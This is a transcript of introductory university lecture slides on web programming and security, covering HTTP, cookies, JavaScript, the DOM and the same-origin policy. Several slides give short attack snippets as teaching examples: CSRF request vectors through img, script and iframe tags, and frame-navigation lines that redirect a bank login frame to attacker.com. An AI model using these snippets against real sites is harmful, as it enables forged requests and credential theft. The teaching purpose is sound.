web programming and security lecture 1 tamara rezk
Post on 16-Jan-2016
224 Views
Preview:
TRANSCRIPT
Web Programming and Security
Lecture 1
Tamara Rezk
Web Applications
Web BrowsersServers
Network
Distributed applications that run in a browser and
distant servers
Web Applications = Multi-tiers applications
Server code
Database
Client code
BROWSER
DB MANAGEMENT SYSTEM
WEB SERVER
Web Evolution
Complexity in Web 2.0 Apps
Server code Client codeData query code
GenerateGenerate
DOM API
XHR API
Different programming languages; Multi-tier nature;Dynamic code generation
How would my application
behave?
Thanks Zhengqin Luo for this slide
Importance of Protecting Web Apps
Web applications everywhere in your life!!!
•Important Information– Identity – Financial situation– Social lives
•Security Requirements– Confidentiality– Integrity– Availability
Security problems
Confidentiality violation
Integrity violation
Availability violation
Availability security problems
A service or resource is made unvailable
Integrity security problems
Unauthorized modification of data (authenticity of data), and unauthorized execution of programs
Confidentiality problems
Unauthorized disclosure of data
Tim Berners Lee
Web 1.0 Applications
14
Info.cern.ch
1990: The static Web, Web 1.0
First Browser called WorldWideWeb
Web 1.0 Applications
Apache HTTP Server
1990: The static Web, Web 1.0
Web 1.0 Applications
Apache HTTP Server
http://www.a.com
1990: The static Web, Web 1.0
Web 1.0 Applications
Apache HTTP Server
http://www.a.com
1990: The static Web, Web 1.0
Web 1.0 Applications
Apache HTTP Server
http://www.a.com
1990: The static Web, Web 1.0
Web 1.0 Applications
Apache HTTP Server
http://www.a.com
1990: The static Web, Web 1.0
Technologies: Web Server (first: CERN httpd)Web Browser (first: WorldWideWeb browser)Protocol : HTTP Language:
HTTP: HyperText Transfer Protocol
• Methods: GET, POST, PUT, DELETE …– GET: length limited, usually for requests, no side effects(not in
practice)
– POST: allows multiple requests, state-change, no cache
– PUT: multiple idem requests as one request
– DELETE: multiple idem requests as one request
• HTTP No State: request/response - each request is independent
• http_URL =
"http:" "//" host [ ":" port ] [ abs_path [ "?" query ]]You can see headers with Firebug
HTTP: PRIVATE BROWSING?
• Method: GET, you can see the parameters in the URL. A possible solution:
Phishing attacks
www.paypal.com
www.payoak.szm.sk
• Be aware of URLs that are shown in the browser
• or links that are clicked!
Phishing attacks
Phishing attacks: also emails with false senders
And even this!
A phishing attack to MySpace
In 2006, a worm altered links to direct MySpace users to evil websites
Phishing Solutions
• Use https (created in 1994 by Netscape)
• Verify carefully the URL
• Browsers may have “black”lists
Web 1.0 Applications
http://www.a.com/foo?var=v
1993: The Web becomes less static
Web 1.0 Applications
http://www.a.com/foo?var=v
1993: The Web becomes less static
parameters
Web 1.0 Applications
http://www.a.com/foo?var=v
1993: The Web becomes less static
Technologies: Web Browser, Web Server,HTTP , HTMLCGI: Common Gateway Interface
1994: World Wide Web Consortium (W3C)http://validator.w3.org/
HTTP: Session Example
http://www.buy.com
http://www.buy.com/shopping.cfm?pID=269
see catalog
http://www.buy.com/shopping.cfm?pID=269&item=40002
select item
http://www.buy.com/checkout.cfm?pID=269&item=40002
buy item
Since HTTP is stateless all session information is saved in the URL
BAD PRACTICE!! It is better to use cookiesThanks Ricardo Corin for this slide
Integrity violation: Dansie Shopping Cart (2006)
<FORM METHOD=POSTACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl">Black Leather purse with leather straps<BR>Price: $20.00<BR><INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"><INPUT TYPE=HIDDEN NAME=price VALUE="20.00"><INPUT TYPE=HIDDEN NAME=sh VALUE="1"><INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg"><INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather pursewith leather straps"><INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart"></FORM>
Why not to store sensitive information on the client side?
Let’s see the form in action
Integrity violation: Dansie Shopping Cart (2006)
<FORM METHOD=POSTACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl">Black Leather purse with leather straps<BR>Price: $20.00<BR><INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"><INPUT TYPE=HIDDEN NAME=price VALUE="20.00"><INPUT TYPE=HIDDEN NAME=sh VALUE="1"><INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg"><INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather pursewith leather straps"><INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart"></FORM>
Why not to store sensitive information on the client side?
it can be modified by the client at will!
Security by obscurity is bad in general.HIDDEN FIELDS IS A BAD PRACTICE!! It is better to use cookies
HTTP : COOKIES
A cookie resides in the disk and is created by the web browser
HTTP : COOKIES
A cookie resides in the disk and is created by the web browser
POST login.cgi (usr+pwd)
HTTP Header:Set-cookie: NAME=VALUE ;domain = (who can read the cookie) ;expires = (when) ;…
GET securepage.htmlCookie: NAME=VALUE
• HTPP does not have state, cookies add state
• Cookies are useful for: – Authenticacion
• to know if a user has authenticate in the past
– Personalization• recognize the user since last visit
– Tracking• analyze the behaviour of the user
HTTP : COOKIES
HTTP : COOKIES
Only the site that creates the cookie can read it
HTTP : COOKIES
set-cookie(“amount”,$amount);
Content-type:text/html
Cookie: Amount = 20$
To make it secure it is necessary to add a “MAC” (message-authenticatedcode) to the amount:
Cookie: Amount = 20$; HMAC(ServerKey, 20)
Cross site request forgery (CSRF or XSRF)
Transmits unauthorized commands from a user who has rightfully logged in to a website to the website.
Some Attack Methods
• HTML Methods
IMG SRC <img src="http://host/?command">
SCRIPT SRC <script src="http://host/?command">
IFRAME SRC <iframe src="http://host/?command">
• JavaScript Methods
'Image' Object <script> var foo = new Image(); foo.src = "http://host/?command"; </script>
Attack to GMail : January 2007
Google Docs didn’t check what page requests your contact list.
If you are logged in on window 1, window 2 (an evil site) can make the function call and get the contact list as an object. Since you are logged in somewhere, your cookie is valid and the request goes through.
Prevention
• Server side:– add a secret that the attacker cannot guess– re-authenticate for critical operations
• User side:– logging off one site before using others
Web 1.0 Applications
45
http://www.a.com/foo?var=v
1995: Php, and Javascript is born
Technologies: Web Browser, Web Server,HTTP , HTMLCGI: Common Gateway InterfaceJavascript
Contains Javascript programs
Web 1.0 Applications
Php example
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <?php $name = “Hello World!"; ?> <html xmlns = "http://www.w3.org/1999/xhtml"><head> <title>A simple PHP document</title> </head> <body style = "font-size: 2em"> <p> <strong> First PHP program, <?php print( "$name" ); ?>! </strong> </p> </body></html> let’s see how the generated page looks like
Javascript
• Execute code on the client side
• Intepreted language, dymamically typed
• ECMAScript standard
Syntax of Javascript is not weird,but its semantics sometimes is
function fac(x) { if (x <= 1) { return 1; } return x*fac(x-1);}
Let’s see it in Chrome
Embedding Javascript
<body> ... <script type="text/javascript" src=“myCode.js" />
<script type="text/javascript"> //<![CDATA[ alert("Page is loading"); //]]> </script>
<p onclick="alert('I told you not to click on me!');"> Please do not click on this text.</p> ...</body>
External Javascript File
Inline Code
Event HandlerAll scripts will share the memory (seeExample .js)
Method Example
var o = new Object();o.count = 0;o.increment=function(inc) { if (inc == undefined)
{ inc = 1; } this.count += inc; return this.count;
} Let’s inspect the object in Google Chrome
Prototypes
function Rectangle(width, height) { this.width = width; this.height = height;}Rectangle.prototype.area = function() { return this.width*this.height;}
r = new Rectangle(26, 14);a = r.area();
Scope
function Foo() {var x;y = x; x =3 ; }
function Bar() {y = x; x = x +1; }var y ;var x = 0;Foo();Bar();
XMLHTTPRequest
if (window.XMLHttpRequest) // Standard object { xhr = new XMLHttpRequest(); // Firefox, Safari, ... } else if (window.ActiveXObject) // Internet Explorer { xhr = new ActiveXObject("Microsoft.XMLHTTP"); }
XMLHTTPRequest
if (window.XMLHttpRequest) // Standard object { xhr = new XMLHttpRequest(); // Firefox, Safari, ... } else if (window.ActiveXObject) // Internet Explorer { xhr = new ActiveXObject("Microsoft.XMLHTTP"); }
xhr.onreadystatechange = function() { // instructions to process the response };
xhr.open(“GET", url, true); xhr.send(null); setting a callback
to send parameters:var params = "lorem=ipsum&name=binny";
Javascript
• An important object: the GLOBAL object
• An important property: window
• A Prototype chain (the root is Global)
• A Scope chain (the root is Global)
Javascript
• An important object: the GLOBAL object
• An important property: window
• A Prototype chain (the root is Global)
• A Scope chain (the root is Global)
Let’s inspect the global object
Javascript
https://www.destroyallsoftware.com/talks/wat
See also:
http://brownplt.github.com/2012/01/31/s5-wat.html
x = new window.XMLHttpRequest()
Important JavaScript detail:
o.f is treated as o["f"]
window.XHR is window["XHR"]
x = new window["XHR"]()
x.open("POST", "/setPrivacy")
x.send("sharing = PUBLIC")
XHR
Javascript
Thanks Shriram Krishnamurthi for this slide
DOM: Document Object Model
• and the DOM API
Document Tree Structure
<html> <body> <h1>Heading 1</h1> <p>Paragraph.</p> <h2>Heading 2</h2> <p>Paragraph.</p> </body></html>
#text
H1
H2
P
BODY
HTML
#document
HEAD
#text
P
#text
#text
document
document.body
document.documentElement
Change color
<script type="text/javascript"> function changeColor(newcolor) { elem = document.getElementById("para1"); elem.style.color = newcolor; } </script>
child, sibling, parent
#text
H1 H2P
BODY
#text
P
#text#text
lastChild
last
Chi
ld
last
Chi
ld
last
Chi
ld
last
Chi
ld
first
Chi
ld
first
Chi
ld
first
Chi
ld
first
Chi
ld
first
Chi
ld
child, sibling, parent
#text
H1 H2P
BODY
#text
P
#text#text
lastChild
last
Chi
ld
last
Chi
ld
last
Chi
ld
last
Chi
ld
first
Chi
ld
first
Chi
ld
first
Chi
ld
first
Chi
ld
first
Chi
ld
nextSibling nextSibling nextSibling
previousSibling previousSibling previousSibling
child, sibling, parent
#text
H1
#text #text#text
lastChild
last
Chi
ld
last
Chi
ld
last
Chi
ld
last
Chi
ld
first
Chi
ld
first
Chi
ld
first
Chi
ld
first
Chi
ld
first
Chi
ld
nextSibling nextSibling nextSibling
previousSibling previousSibling previousSibling
pare
ntN
ode
pare
ntN
ode
pare
ntN
ode
pare
ntN
ode
pare
ntN
ode
H2P P
BODY
child, sibling, parent
#text
H1 H2P
BODY
#text
P
#text#text
first
Chi
ld
first
Chi
ld
first
Chi
ld
first
Chi
ld
first
Chi
ld
nextSibling nextSibling nextSibling
Walk the DOM
• Using recursion, follow the firstChild node, and then the nextSibling nodes.
function walkTheDOM(node, func) { func(node); node = node.firstChild; while (node) { walkTheDOM(node, func); node = node.nextSibling; }
}
Manipulating Elements
• Old School
if (my_image.complete) { my_image.src = superurl;}
• New School
if (my_image.getAttribute('complete')) { my_image.setAttribute('src', superurl);}
Making Elements
document.createElement(tagName)
document.createTextNode(text)
node.cloneNode()– Clone an individual element.
node.cloneNode(true)– Clone an element and all of its descendents.
• The new nodes are not connected to the document.
Linking Elements
node.appendChild(new)
node.insertBefore(new, sibling)
node.replaceChild(new, old)
old.parentNode.replaceChild(new, old)
innerHTML
• All A browsers implement Microsoft's innerHTML property.
Parse
Events
• The browser has an event-driven, single-threaded, asynchronous programming model.
• Events are targeted to particular nodes.
• Events cause the invocation of event handler functions.
Event
Event Handlers
• Classic– node["on" + type] = f;
• Microsoft– node.attachEvent("on" + type, f);
• W3C– node.addEventListener(type, f, false);
Same origin Policy
Access?Access?
JAVASCRIPT
DOM DEFENSE
OBJECT
The same origin policy (SOP)
• The SOP prevents docs from one origin from using resources from a different origin.
• Same origin= protocol+port+host
• Resources:– cookies– DOM (HTML document tree)– remote calls
Frame isolation
• Other frames “cannot” access resources from other origins
Frame isolation
• Other frames cannot access resources from other origins
Example:<!-- This is allowed -->
<iframe src="sameDomainPage.html"> </iframe>
alert(frames[0].contentDocument.body); //works fine
<!-- This is **NOT** allowed -->
<iframe src="http://google.com"> </iframe>
alert(frames[0].contentDocument.body); //throws errorWhat happends with the global object?
Frame isolation
• Other frames cannot access resources from other origins
• Browsers implement a navigation policy that is allowed (changing .location attribute of frame)– permissive policy: Guninski attack on CitiBank
– window policy: gadget hijacking attacks (igoogle+hotmail)
Guninski attack (permissive policy, 1999)
Other browser window/tablocation = attacker
user: pass:
SOP applies but attacker can navigate the login frame and replace it with its own code !
citibankWindow.frames[0].location = “https://attacker.com/login”
Frame isolation
• Other frames cannot access resources from other origins
• Browsers implement a navigation policy that is allowed (changing .location attribute of frame)– permissive policy: Guninski attack on CitiBank
– window policy: gadget hijacking attacks (igoogle+hotmail)
Gadget Hijacking
top.frames[1].location = "http:/www.attacker.com/...“;top.frames[2].location = "http:/www.attacker.com/...“;
...
Gadget Hijacking
Frame isolation
• Other frames cannot access resources from other origins
• Browsers implement a navigation policy that is allowed (changing .location attribute of frame)– permissive policy: Guninski attack on CitiBank
– window policy: gadget hijacking attacks (igoogle+hotmail)
– descendant policy– child policy
Navigation policies
Browser Policy
IE 6 (default) Permissive
IE 6 (option) Child
IE7 (no Flash) Descendant
IE7 (with Flash) Permissive
Firefox 2 Window
Safari 2 Permissive
IE7 Descendant
Firefox 3 Child
Safari 3 Child
HTML 5 Child
Navigation policies
top related